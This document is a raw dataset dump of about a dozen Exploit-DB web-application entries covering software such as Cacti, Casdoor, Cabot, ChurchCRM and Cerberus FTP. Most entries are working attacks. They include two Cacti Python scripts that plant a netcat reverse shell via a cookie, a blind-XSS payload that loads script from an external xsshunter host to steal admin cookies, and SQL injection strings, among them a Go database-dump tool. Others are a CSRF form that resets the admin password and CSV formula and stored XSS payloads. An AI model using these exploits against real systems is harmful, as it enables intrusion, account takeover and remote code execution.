deardaniel/secdata-raw huggingface dataset:
Exploit-DB #31647
Description: CA 2E Web Option 8.1.2 - Authentication Bypass
Type: webapps
Platform: multiple
Date: 2014-02-13
Author: Mike Emery

Exploit:
Vulnerability title: Unauthenticated Privilege Escalation in CA 2E Web Option

CVE: CVE-2014-1219
Vendor: CA
Product: 2E Web Option
Affected version: 8.1.2
Fixed version: N/A
Reported by: Mike Emery

Details:

CA 2E Web Option (r8.1.2) and potentially others, is vulnerable to unauthenticated privilege escalation via a predictable session token.
The POST parameter session token W2E_SSNID appears as follows:

W2E_SSNID=W90NIxGoSsN1023ZYW2E[PII_REDACTED]13CLSpKfgkCJSLKsc600061JKenjKnE
JuNX9GoVjCEbqIuKh6kFRvbzYnUxgQtONszJldyAar3LtTSwsmBLpdlPc5iDH4Zf75


However, this token is poorly validated, leading to

W2E_SSNID=W90NIxGoSsN1023ZYW2E[PII_REDACTED]13

being accepted as a valid session. By incrementing and
decrementing the digits at the end of the value given above, it is
possible to control the session at the given ID. This token is sent as
part of the login page, and as such, can be manipulated by an
unauthenticated attacker, giving them access to any valid session.
Consequentially, it is possible to access the following page as such:

https://app.domain.co.uk/web2edoc/close.htm?SSNID=W90NIxGoSsN1023ZYW2E[PII_REDACTED]26

Ending the session specified, which could lead to a denial of service condition.

Further details at:
http://portcullis-security.com/security-research-and-downloads/security-advisories/cve-2014-1219/


Copyright:
Copyright (c) Portcullis Computer Security Limited 2014, All rights
reserved worldwide. Permission is hereby granted for the electronic
redistribution of this information. It is not to be edited or altered in
any way without the express written consent of Portcullis Computer
Security Limited.

Disclaimer:
The information herein contained may change without notice. Use of this
information constitutes acceptance for use in an AS IS condition. There
are NO warranties, implied or otherwise, with regard to this information
or its use. Any use of this information is at the user's risk. In no
event shall the author/distributor (Portcullis Computer Security
Limited) be held liable for any damages whatsoever arising out of or in
connection with the use or spread of this information.
Exploit-DB #48791
Description: Cabot 0.11.12 - Persistent Cross-Site Scripting
Type: webapps
Platform: multiple
Date: 2020-09-07
Author: Abhiram V

Exploit:
# Exploit Title: Cabot 0.11.12 - Persistent Cross-Site Scripting
# Date: 2020-09-06
# Exploit Author: Abhiram V
# Vendor Homepage: https://cabotapp.com/
# Software Link: https://github.com/arachnys/cabot
# Version: 0.11.12
# Tested on: Ubuntu Linux

############################################################################

Introduction

Cabot is a free, open-source, self-hosted infrastructure monitoring
platform
that provides some of the best features of PagerDuty, Server Density,
Pingdom
and Nagios without their cost and complexity.It provides a web interface
that allows
us to monitor services and send telephone, sms or hipchat/email alerts to
your
on-duty team if those services start misbehaving or go down .

############################################################################

XSS details: Blind XSS

############################################################################

Executing Blind XSS in New Instances leads to admin account takeover

URL
http://127.0.0.1:5000/instance/create/

PAYLOAD
"><script src=https://anonart.xss.ht></script>
*payload from xsshunter.com platform for finding blind xss*

PARAMETER
Address column

EXPLOITATION
Create a user account under django administrator account and login as user
to perform the attack
Create a new instance and save the instances, Navigate to Services.
Create a new Service from then input a Name and Url (for POC i used
BlindXSS in both columns).
Then append the admin account in Users to notify column and use status
check and instances then save.
Now the admin account gets a notification when the admin runs the check
Blind XSS executes in background.
when login to xsshunter.com we can see the screenshots cookies and all
details of admin account

IMPACT
Stored XSS can be executed from any accounts and triggered in any accounts
including django administration
unknowingly by the victim (here it is admin) and compromise the accounts.

Tested in both xsshunter.com and blindf.com
Attacker can also use stored xss payloads here.

############################################################################
Exploit-DB #48144
Description: Cacti 1.2.8 - Authenticated Remote Code Execution
Type: webapps
Platform: multiple
Date: 2020-02-03
Author: Askar

Exploit:
#!/usr/bin/python3

# Exploit Title: Cacti v1.2.8 Remote Code Execution
# Date: 03/02/2020
# Exploit Author: Askar (@mohammadaskar2)
# CVE: CVE-2020-8813
# Vendor Homepage: https://cacti.net/
# Version: v1.2.8
# Tested on: CentOS 7.3 / PHP 7.1.33

import requests
import sys
import warnings
from bs4 import BeautifulSoup
from urllib.parse import quote

warnings.filterwarnings("ignore", category=UserWarning, module='bs4')


if len(sys.argv) != 6:
    print("[~] Usage : ./Cacti-exploit.py url username password ip port")
    exit()

url = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
ip = sys.argv[4]
port = sys.argv[5]

def login(token):
    login_info = {
    "login_username": username,
    "login_password": password,
    "action": "login",
    "__csrf_magic": token
    }
    login_request = request.post(url+"/index.php", login_info)
    login_text = login_request.text
    if "Invalid User Name/Password Please Retype" in login_text:
        return False
    else:
        return True

def enable_guest(token):
    request_info = {
    "id": "3",
    "section25": "on",
    "section7": "on",
    "tab": "realms",
    "save_component_realm_perms": 1,
    "action": "save",
    "__csrf_magic": token
    }
    enable_request = request.post(url+"/user_admin.php?header=false", request_info)
    if enable_request:
        return True
    else:
        return False

def send_exploit():
    payload = ";nc${IFS}-e${IFS}/bin/bash${IFS}%s${IFS}%s" % (ip, port)
    cookies = {'Cacti': quote(payload)}
    requests.get(url+"/graph_realtime.php?action=init", cookies=cookies)

request = requests.session()
print("[+]Retrieving login CSRF token")
page = request.get(url+"/index.php")
html_content = page.text
soup = BeautifulSoup(html_content, "html5lib")
token = soup.findAll('input')[0].get("value")
if token:
    print("[+]Token Found : %s" % token)
    print("[+]Sending creds ..")
    login_status = login(token)
    if login_status:
        print("[+]Successfully LoggedIn")
        print("[+]Retrieving CSRF token ..")
        page = request.get(url+"/user_admin.php?action=user_edit&id=3&tab=realms")
        html_content = page.text
        soup = BeautifulSoup(html_content, "html5lib")
        token = soup.findAll('input')[1].get("value")
        if token:
            print("[+]Making some noise ..")
            guest_realtime = enable_guest(token)
            if guest_realtime:
                print("[+]Sending malicous request, check your nc ;)")
                send_exploit()
            else:
                print("[-]Error while activating the malicous account")

        else:
            print("[-] Unable to retrieve CSRF token from admin page!")
            exit()

    else:
        print("[-]Cannot Login!")
else:
    print("[-] Unable to retrieve CSRF token!")
    exit()
Exploit-DB #48145
Description: Cacti 1.2.8 - Unauthenticated Remote Code Execution
Type: webapps
Platform: multiple
Date: 2020-02-03
Author: Askar

Exploit:
#!/usr/bin/python3

# Exploit Title: Cacti v1.2.8 Unauthenticated Remote Code Execution
# Date: 03/02/2020
# Exploit Author: Askar (@mohammadaskar2)
# CVE: CVE-2020-8813
# Vendor Homepage: https://cacti.net/
# Version: v1.2.8
# Tested on: CentOS 7.3 / PHP 7.1.33

import requests
import sys
import warnings
from bs4 import BeautifulSoup
from urllib.parse import quote

warnings.filterwarnings("ignore", category=UserWarning, module='bs4')


if len(sys.argv) != 4:
    print("[~] Usage : ./Cacti-exploit.py url ip port")
    exit()

url = sys.argv[1]
ip = sys.argv[2]
port = sys.argv[3]

def send_exploit(url):
    payload = ";nc${IFS}-e${IFS}/bin/bash${IFS}%s${IFS}%s" % (ip, port)
    cookies = {'Cacti': quote(payload)}
    path = url+"/graph_realtime.php?action=init"
    req = requests.get(path)
    if req.status_code == 200 and "poller_realtime.php" in req.text:
        print("[+] File Found and Guest is enabled!")
        print("[+] Sending malicous request, check your nc ;)")
        requests.get(path, cookies=cookies)
    else:
        print("[+] Error while requesting the file!")

send_exploit(url)
Exploit-DB #52067
Description: Calibre-web 0.6.21 - Stored XSS
Type: webapps
Platform: multiple
Date: 2024-08-23
Author: Catalin Iovita_ Alexandru Postolache

Exploit:
# Exploit Title: Stored XSS in Calibre-web
# Date: 07/05/2024
# Exploit Authors: Pentest-Tools.com (Catalin Iovita & Alexandru Postolache)
# Vendor Homepage: (https://github.com/janeczku/calibre-web/)
# Version: 0.6.21 - Romesa
# Tested on: Linux 5.15.0-107, Python 3.10.12, lxml	4.9.4
# CVE: CVE-2024-39123

## Vulnerability Description
Calibre-web 0.6.21 is vulnerable to a Stored Cross-Site Scripting (XSS) vulnerability. This vulnerability allows an attacker to inject malicious scripts that get stored on the server and executed in the context of another user's session.

## Steps to Reproduce
1. Log in to the application.
2. Upload a new book.
3. Access the Books List functionality from the `/table?data=list&sort_param=stored` endpoint.
4. In the `Comments` field, input the following payload:

    <a href=javas%1Bcript:alert()>Hello there!</a>

4. Save the changes.
5. Upon clicking the description on the book that was created, in the Book Details, the payload was successfully injected in the Description field. By clicking on the message, an alert box will appear, indicating the execution of the injected script.
Exploit-DB #18430
Description: Campaign Enterprise 11.0.421 - SQL Injection
Type: webapps
Platform: multiple
Date: 2012-01-30
Author: Craig Freyman

Exploit:
########################################################################################
#Exploit Title: Campaign Enterprise 11.0.421 SQLi Vulnerability
#Author: Craig Freyman (@cd1zz)
#Date Discovered: 12/12/2011
#Vendor Site: http://www.arialsoftware.com
#Vendor Notified: 1/19/2012 
#Vendor Fixed: 1/30/2012 (Version 11.0.512)
#Description: The SID parameter in a POST is vulnerable to a boolean based blind SQLi. 
#You must be authenticated to access this parameter. The default database for Campaign
#Enterprise is MS Access.
########################################################################################
#Proof of Concept
#
POST /Command HTTP/1.1
SID=303[SQLi]&ACTION=ADMINISTRATION&ALTCOMMAND=REFRESH&CAMPAIGNID=3&SortBy=CampaignName&LISTVALUE=&CampaignName=&CopyCampaignName=&PageNumber=Page+1&SearchText=
Exploit-DB #18247
Description: Capexweb 1.1 - SQL Injection
Type: webapps
Platform: multiple
Date: 2011-12-16
Author: D1rt3 Dud3

Exploit:
# Exploit Title: Capexweb Sql Vulnerable
# Date: 15 Dec 2011
# Author: D1rt3 Dud3
# Google Dork: inurl:capexweb
# Gr33ts: Th3 RDX
# Version: 1.1
# Description: Capexweb is Web based Backoffice client used by leading Stock Exchanges like Berkeley Gains, angle broking house etc.

http://localhost:8080/capexweb/capexweb/


Log in details:
Username: x'or'x'='x
Password: x'or'x'='x

-------------------------------------------------------------------------------"Indian"
Exploit-DB #50792
Description: Casdoor 1.13.0 - SQL Injection (Unauthenticated)
Type: webapps
Platform: multiple
Date: 2022-02-28
Author: Mayank Deshmukh

Exploit:
// Exploit Title: Casdoor 1.13.0 - SQL Injection (Unauthenticated) 
// Date: 2022-02-25
// Exploit Author: Mayank Deshmukh
// Vendor Homepage: https://casdoor.org/
// Software Link: https://github.com/casdoor/casdoor/releases/tag/v1.13.0
// Version: version < 1.13.1
// Security Advisory: https://github.com/advisories/GHSA-m358-g4rp-533r
// Tested on: Kali Linux
// CVE : CVE-2022-24124
// Github POC: https://github.com/ColdFusionX/CVE-2022-24124

// Exploit Usage : go run exploit.go -u http://127.0.0.1:8080

package main

import (
	"flag"
	"fmt"
	"html"
	"io/ioutil"
	"net/http"
	"os"
	"regexp"
	"strings"
)

func main() {
	var url string
	flag.StringVar(&url, "u", "", "Casdoor URL (ex. http://127.0.0.1:8080)")
	flag.Parse()

	banner := `
-=Casdoor SQL Injection (CVE-2022-24124)=- 
- by Mayank Deshmukh (ColdFusionX)

`
	fmt.Printf(banner)
	fmt.Println("[*] Dumping Database Version")
	response, err := http.Get(url + "/api/get-organizations?p=123&pageSize=123&value=cfx&sortField=&sortOrder=&field=updatexml(null,version(),null)")

	if err != nil {
		panic(err)
	}

	defer response.Body.Close()

	databytes, err := ioutil.ReadAll(response.Body)

	if err != nil {
		panic(err)
	}

	content := string(databytes)

	re := regexp.MustCompile("(?i)(XPATH syntax error.*&#39)")

	result := re.FindAllString(content, -1)
	
	sqliop := fmt.Sprint(result)
	replacer := strings.NewReplacer("[", "", "]", "", "&#39", "", ";", "")
	
	finalop := replacer.Replace(sqliop)
	fmt.Println(html.UnescapeString(finalop))


	if result == nil {
		fmt.Printf("Application not vulnerable\n")
		os.Exit(1)
	}

}
Exploit-DB #52432
Description: Casdoor 2.55.0 - Cross-Site Request Forgery (CSRF)
Type: webapps
Platform: multiple
Date: 2025-09-16
Author: Van Lam Nguyen

Exploit:
# Exploit Title: Casdoor 2.55.0 - Cross-Site Request Forgery (CSRF)
# Application: Casdoor
# Version: 2.55.0
# Date: 09/10/2025
# Exploit Author: Van Lam Nguyen
# Facebook: vanlam1412
# Vendor Homepage: https://casdoor.org/
# Software Link: https://github.com/casdoor/casdoor/archive/refs/tags/v2.55.0.zip
# Tested on: Windows
# CVE : CVE-2023-34927 ( latest yet to be assigned)

Overview
==================================================
Casdoor v2.55.0 and below was discovered to contain a Cross-Site Request Forgery (CSRF) in the endpoint /api/set-password. 
This vulnerability allows attackers to arbitrarily change the victim user's password via supplying a crafted URL.

Proof of Concept
==================================================

Made an unauthorized request to /api/set-password that bypassed the old password entry authentication step

<html>
<form action="http://localhost:8000/api/set-password" method="POST">
    <input name='userOwner' value='built&#45;in' type='hidden'>
    <input name='userName' value='admin' type='hidden'>
    <input name='newPassword' value='hacked' type='hidden'>
    <input type=submit>
</form>
<script>
    history.pushState('', '', '/');
    document.forms[0].submit();
</script>

</html>

If a user is logged into the Casdoor Webapp at time of execution, a new user will be created in the app with the following credentials

userOwner: built&#45;in
userName: admin
new[CREDENTIAL_REDACTED]
Exploit-DB #52439
Description: Casdoor 2.95.0 - Cross-Site Request Forgery (CSRF)
Type: webapps
Platform: multiple
Date: 2025-10-29
Author: Van Lam Nguyen

Exploit:
# Exploit Title: Casdoor 2.95.0 - Cross-Site Request Forgery (CSRF)
# Application: Casdoor
# Version: v2.95.0 (2025-10-22)
# Date: 2025-10-23
# Exploit Author: Van Lam Nguyen 
# Vendor Homepage: https://casdoor.org/
# Software Link: https://github.com/casdoor/casdoor/archive/refs/tags/v2.95.0.zip
# Tested on: Windows
# CVE : CVE-2023-34927 ( latest yet to be assigned)

Overview
==================================================
Casdoor v2.95.0 and below was discovered to contain a Cross-Site Request Forgery (CSRF) in the endpoint /api/set-password. 
This vulnerability allows attackers to arbitrarily change the victim user's password via supplying a crafted URL.

Proof of Concept
==================================================

Made an unauthorized request to /api/set-password that bypassed the old password entry authentication step

<html>
<form action="http://localhost:8000/api/set-password" method="POST">
    <input name='userOwner' value='built&#45;in' type='hidden'>
    <input name='userName' value='admin' type='hidden'>
    <input name='newPassword' value='hacked' type='hidden'>
    <input type=submit>
</form>
<script>
    history.pushState('', '', '/');
    document.forms[0].submit();
</script>

</html>

If a user is logged into the Casdoor Webapp at time of execution, a new user will be created in the app with the following credentials

userOwner: built&#45;in
userName: admin
new[CREDENTIAL_REDACTED]
Exploit-DB #49981
Description: Cerberus FTP Web Service 11 - 'svg' Stored Cross-Site Scripting (XSS)
Type: webapps
Platform: multiple
Date: 2021-06-11
Author: Mohammad Hossein Kaviyany

Exploit:
# Exploit Title: Cerberus FTP web Service 11 - 'svg' Stored Cross-Site Scripting (XSS)
# Date: 08/06/2021
# Exploit Author: Mohammad Hossein Kaviyany
# Vendor Homepage: www.cerberusftp.com
# Software Link: https://www.cerberusftp.com/download/
# Version:11.0 releases prior to 11.0.4, 10.0 releases prior to 10.0.19, 9.0 and earlier
# Tested on: windows server 2016
# CVE: CVE-2019-25046
------------
About Cerberus FTP Server (From Vendor Site) :     
                                
Cerberus FTP Server is a secure Windows file server with FTP, FTPS, SFTP, HTTPS, 
FIPS 140-2 validated, and Active Directory and LDAP authentication.
--------------------------------------------------------
Exploit Detailes :

This stored XSS bug happens when a user uploads an svg file with the following content :
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(123)"/>

Exploit POC :

# Vulnerable Path : /file/upload
# Parameter: files (POST)
# Vector: <svg xmlns="http://www.w3.org/2000/svg" onload="alert(123)"/>

#Payload:  

POST /file/upload HTTP/1.1
Host: target.com
Connection: close
Content-Length: 484
sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="90", "Google Chrome";v="90"
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAAM6ZtOAsyklo6JG
Origin: https://target.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://target.com/file/d/home/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: cftpSID=U02_5UCTumW3vFtt5PrlWwoD4k9ccxW0A87oCM8-jsM

------WebKitFormBoundaryAAM6ZtOAsyklo6JG
Content-Disposition: form-data; name="cd"

/home
------WebKitFormBoundaryAAM6ZtOAsyklo6JG
Content-Disposition: form-data; name="csrftoken"

z-Zlffq0sPaJErxOsMgL4ITcW1x3AuZo3XlZRP5GcKg
------WebKitFormBoundaryAAM6ZtOAsyklo6JG
Content-Disposition: form-data; name="files[]"; filename="file.svg"
Content-Type: image/svg+xml

<svg xmlns="http://www.w3.org/2000/svg" onload="alert(123)"/>

------WebKitFormBoundaryAAM6ZtOAsyklo6JG--

--------------------------
Exploit-DB #49859
Description: Chevereto 3.17.1 - Cross Site Scripting (Stored)
Type: webapps
Platform: multiple
Date: 2021-05-12
Author: Akıner Kısa

Exploit:
# Exploit Title: Chevereto 3.17.1 - Cross Site Scripting (Stored)
# Google Dork: "powered by chevereto"
# Date: 19.04.2021
# Exploit Author: Akıner Kısa
# Vendor Homepage: https://chevereto.com/
# Software Link: https://chevereto.com/releases
# Version: 3.17.1
# Tested on: Windows 10 / Xampp

Proof of Concept:

1. Press the Upload image button and upload any image.
2. After uploading the image, press the pencil icon on the top right of the image and write "><svg/onload=alert(1)> instead of the title.
3. Upload the picture and go to the picture address.
Exploit-DB #49171
Description: ChurchCRM 4.2.0 - CSV/Formula Injection
Type: webapps
Platform: multiple
Date: 2020-12-02
Author: Mufaddal Masalawala

Exploit:
#Exploit Title: ChurchCRM 4.2.1- CSV/Formula Injection
#Date: 2020- 10- 24
#Exploit Author: Mufaddal Masalawala
#Vendor Homepage: https://churchcrm.io/
#Software Link: https://github.com/ChurchCRM/CRM
#Version: 4.2.0
#Payload:  =10+20+cmd|' /C calc'!A0
#Tested on: Kali Linux 2020.3
#Proof Of Concept:
CSV Injection (aka Excel Macro Injection or Formula Injection) exists in
List Event Types feature in ChurchCRM v4.2.0 via Name field that is
mistreated while exporting to a CSV file.
To exploit this vulnerability:

   1. Login to the application, goto 'Events' module and then "List Event
   Types"
   2. Edit any event and inject the payload =10+20+cmd|' /C calc'!A0 in the
   'Name' field
   3. Now goto 'List Event types' module and click CSV to download the CSV
   file
   4. Open the CSV file, allow all popups and our payload is executed
   (calculator is opened).
Exploit-DB #49172
Description: ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)
Type: webapps
Platform: multiple
Date: 2020-12-02
Author: Mufaddal Masalawala

Exploit:
#Exploit Title: ChurchCRM 4.2.1- Persistent Cross Site Scripting(XSS)
#Date: 2020- 10- 29
#Exploit Author: Mufaddal Masalawala
#Vendor Homepage: https://churchcrm.io/
#Software Link: https://github.com/ChurchCRM/CRM
#Version: 4.2.1
#Tested on: Kali Linux 2020.3
#Proof Of Concept:
ChurchCRM application allows stored XSS , via 'Add new Deposit' module, that is rendered upon 'View All Deposits' page visit. There are multiple locations where this can be replicated To exploit this vulnerability:

   1. Login to the application, go to 'View all Deposits' module.
   2. Add the payload ( <script>var link = document.createElement('a');
   link.href = 'http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe';
   link.download = ''; document.body.appendChild(link); link.click();
</script>
   ) in the 'Deposit Comment' field and click "Add New Deposit".
   3. Payload is executed and a .exe file is downloaded.